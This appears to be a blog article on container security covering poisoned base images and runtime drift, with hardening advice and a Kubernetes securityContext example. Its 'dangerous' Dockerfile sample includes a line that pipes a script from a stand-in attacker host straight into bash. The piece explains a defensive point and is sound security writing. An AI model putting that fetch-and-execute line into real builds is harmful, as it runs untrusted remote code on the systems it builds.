We used to boast about keeping a server up for months or even years—back when uptime records were a badge of honor. Nowadays, if a container lives longer than five minutes, we start getting a bit suspicious. The IT world has evolved from bulky Virtual Machines (VMs) to lean and agile containers. But this obsession with speed often leaves core security principles gathering dust in the rearview mirror. Thinking 'we dockerized it, so we're done' is basically sending a VIP breakfast invitation to cyber attackers.
Today, I want to talk about some of the sneaky scenarios we frequently encounter in our testCompany lab environments and field experiences—situations where people say, 'we scanned the image, it's clean,' yet things still go south—and how we can keep this ship sailing without sinking.
The Trojan Horse Inside the Image: Supply Chain Attacks
It all starts with that innocent docker pull command. Many of my developer friends only look at functionality when pulling images from Docker Hub or similar registries. The logic of 'it’s the most downloaded one, so it must be safe' is one of the biggest fallacies in cybersecurity.
As a Red Teamer, one of the first things I inspect are the image layers. Attackers can hide a sneaky entrypoint.sh inside a popular image or manipulate system calls using LD_PRELOAD libraries. When you run a static analysis (SAST) on the image, everything might show up green because that malicious code only triggers under specific conditions—like when the container finally gets internet access—after it’s already up and running.
Flawed (Dangerous) Example:
# Imagine a malicious base image is being used
FROM example-registry.com/library/python:3.9-slim
USER root
RUN apt-get update && apt-get install -y curl
# A sneaky line added by an attacker
RUN curl -s http://attacker-site.com/setup.sh | bash
WORKDIR /app
COPY . .
CMD ["python", "app.py"]
The move here is to embrace the 'Immutable' image principle and always sign your images (using tools like Docker Content Trust or Cosign). Furthermore, you should move your images to a 'distroless' format, effectively stripping away tools like curl, wget, or sh that an attacker would use once they're inside.
Runtime Drift: The Container’s Personality Disorder
Containers are ephemeral by nature. However, if a container starts changing its filesystem after it has begun running, there might be a 'stowaway' on board. We call this Runtime Drift.
When an attacker breaches a system, their first move is to establish persistence. They might try to drop a binary into /tmp inside the container or manipulate the /etc/hosts file.
The Defensive Move:
Using the readOnlyRootFilesystem: true flag at the Kubernetes or Docker runtime level completely ties the attacker's hands. If your application needs to write somewhere (like logs), you should mount that specific path as an emptyDir or an external volume.
# Kubernetes Pod SecurityContext example
apiVersion: v1
kind: Pod
metadata:
name: secure-container
spec:
containers:
- name: app-container
image: example-registry.com/my-secure-app:v1.0.0
securityContext:
readOnlyRootFilesystem: true
runAsNonRoot: true
runAsUser: 1000
volumeMounts:
- name: tmp-volume
mountPath: /tmp
volumes:
- name: tmp-volume
emptyDir: {}
By keeping the root filesystem read-only and ensuring the container doesn't run as root, we significantly narrow the playground for any potential intruder. Remember, security in the container world isn't a one-time scan; it's a continuous state of hygiene.
